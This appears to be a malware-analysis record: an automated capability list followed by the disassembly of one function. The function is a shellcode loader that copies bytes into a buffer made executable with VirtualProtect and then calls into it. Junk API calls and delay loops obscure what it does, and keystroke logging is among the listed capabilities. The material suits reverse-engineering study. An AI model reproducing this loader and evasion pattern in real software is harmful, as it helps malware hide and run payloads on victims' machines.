Function at 0x405200
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x405231
inc esi
cmp esi, 0x67d12
jl 0x40521a
cmp dword [0x5e43cc], 0x93
jne 0x40533d
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuA]
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
lea eax, [ebp - 0xc18]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [ebp - 0x818]
push ecx
push 0
push 0
call dword [sym.imp.USER32.dll_DdeQueryStringW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0
push 0
push 0x404cc0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0x404c94
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [ebp - 4]
push edx
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0x404d20
call fcn.00405dc7
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x404d48
call fcn.00405dee
push 0
call fcn.00405fb8
add esp, 4
push 0
call fcn.00405fe7
add esp, 4
push 0
push 0
call fcn.0040608f
push 0
push 0
call fcn.00405ff2
add esp, 0x10
call fcn.00405d29
mov eax, dword [0x4418dc]
mov dword [0x5e5208], eax
mov eax, dword [0x5e43cc]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e43cc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5e43cc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e3e5c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperW]
mov esi, 0x1692e
lea esp, [esp]
push 0
push 0
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x405390
cmp dword [0x5e43cc], esi
jbe 0x405413
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x5e5208]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x5e3e5c]
mov byte [edx + esi], cl
cmp dword [0x5e43cc], 0x490
jne 0x40540a
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e43cc]
jb 0x4053b7
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov ecx, dword [0x5e43cc]
add ecx, esi
cmp ecx, 0x8d
jne 0x405469
push 0
lea edx, [ebp - 0x818]
push edx
push 0
push 0x404cac
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x405421
call fcn.00404f50
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
xor esi, esi
call edi
cmp esi, 0x61
jne 0x40549b
mov dword [ebp - 4], ebx
add dword [ebp - 4], 0x934d
mov eax, dword [ebp - 4]
add dword [0x5e3e5c], eax
inc esi
cmp esi, 0x674bd
jl 0x405481
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
lea ecx, [ecx]
cmp dword [0x5e43cc], 0x86
jne 0x405501
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea ecx, [ebp - 0x818]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e43cc], 0xf
jne 0x405518
push 0
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x4054c0
push 0x404cb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e3e5c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret